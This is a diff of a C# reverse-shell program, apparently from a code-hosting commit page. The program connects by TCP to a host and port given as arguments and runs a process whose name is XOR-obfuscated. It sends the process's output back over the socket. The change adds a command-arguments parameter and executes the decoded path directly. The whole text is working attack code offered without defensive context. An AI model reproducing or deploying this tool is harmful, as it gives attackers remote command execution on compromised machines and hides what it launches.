1- using System ;
1+ using System ;
22using System . Text ;
33using System . IO ;
44using System . Diagnostics ;
@@ -17,16 +17,18 @@ private static void Main(string[] args)
1717 string host = args [ 0 ] ;
1818 int port = Int32 . Parse ( args [ 1 ] ) ;
1919 string envvar = args [ 2 ] ;
20- int xorkey = Int32 . Parse ( args [ 3 ] ) ;
20+ string arguments = args [ 3 ] ;
21+ int xorkey = Int32 . Parse ( args [ 4 ] ) ;
22+
2123
2224 string envvar1 = "" ;
2325 for ( int i = 0 ; i < envvar . Length ; i ++ )
2426 {
2527 char c = ( char ) ( envvar [ i ] ^ xorkey ) ;
26- envvar1 = envvar1 + c ;
28+ envvar1 += c ;
2729 }
2830
29- Console . WriteLine ( "executing whatever is set in '{0}' pointing to {1}:{2}" , envvar1 , host , port ) ;
31+ Console . WriteLine ( "executing {0} {3} and redirecting stdout / stderr to {1}:{2}" , envvar1 , host , port , arguments ) ;
3032
3133 using ( TcpClient client = new TcpClient ( host , port ) )
3234 {
@@ -38,9 +40,9 @@ private static void Main(string[] args)
3840 streamWriter = new StreamWriter ( stream ) ;
3941 StringBuilder strInput = new StringBuilder ( ) ;
4042 Process p = new Process ( ) ;
41- //p.StartInfo.FileName = System.Environment.GetEnvironmentVariable("COMSPEC");
42- p . StartInfo . FileName = System . Environment . GetEnvironmentVariable ( envvar1 ) ;
43- // p.StartInfo.FileName = envvar1 ;
43+ //p.StartInfo.FileName = System.Environment.GetEnvironmentVariable(envvar1);
44+ p . StartInfo . FileName = envvar1 ;
45+ p . StartInfo . Arguments = arguments ;
4446 p . StartInfo . CreateNoWindow = true ;
4547 p . StartInfo . UseShellExecute = false ;
4648 p . StartInfo . RedirectStandardOutput = true ;
@@ -60,9 +62,6 @@ private static void Main(string[] args)
6062 }
6163 }
6264 }
63-
64- // Let's at least try to be kind :)
65- client . Close ( ) ;
6665 }
6766 }
6867
@@ -83,7 +82,7 @@ private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEven
8382 streamWriter . WriteLine ( strOutput ) ;
8483 streamWriter . Flush ( ) ;
8584 }
86- catch ( Exception err ) { }
85+ catch ( Exception ) { }
8786 }
8887 }
8988
@@ -98,7 +97,7 @@ private static void CmdErrorDataHandler(object sendingProcess, DataReceivedEvent
9897 streamWriter . WriteLine ( strOutput ) ;
9998 streamWriter . Flush ( ) ;
10099 }
101- catch ( Exception err ) { }
100+ catch ( Exception ) { }
102101 }
103102 }
104103
0 commit comments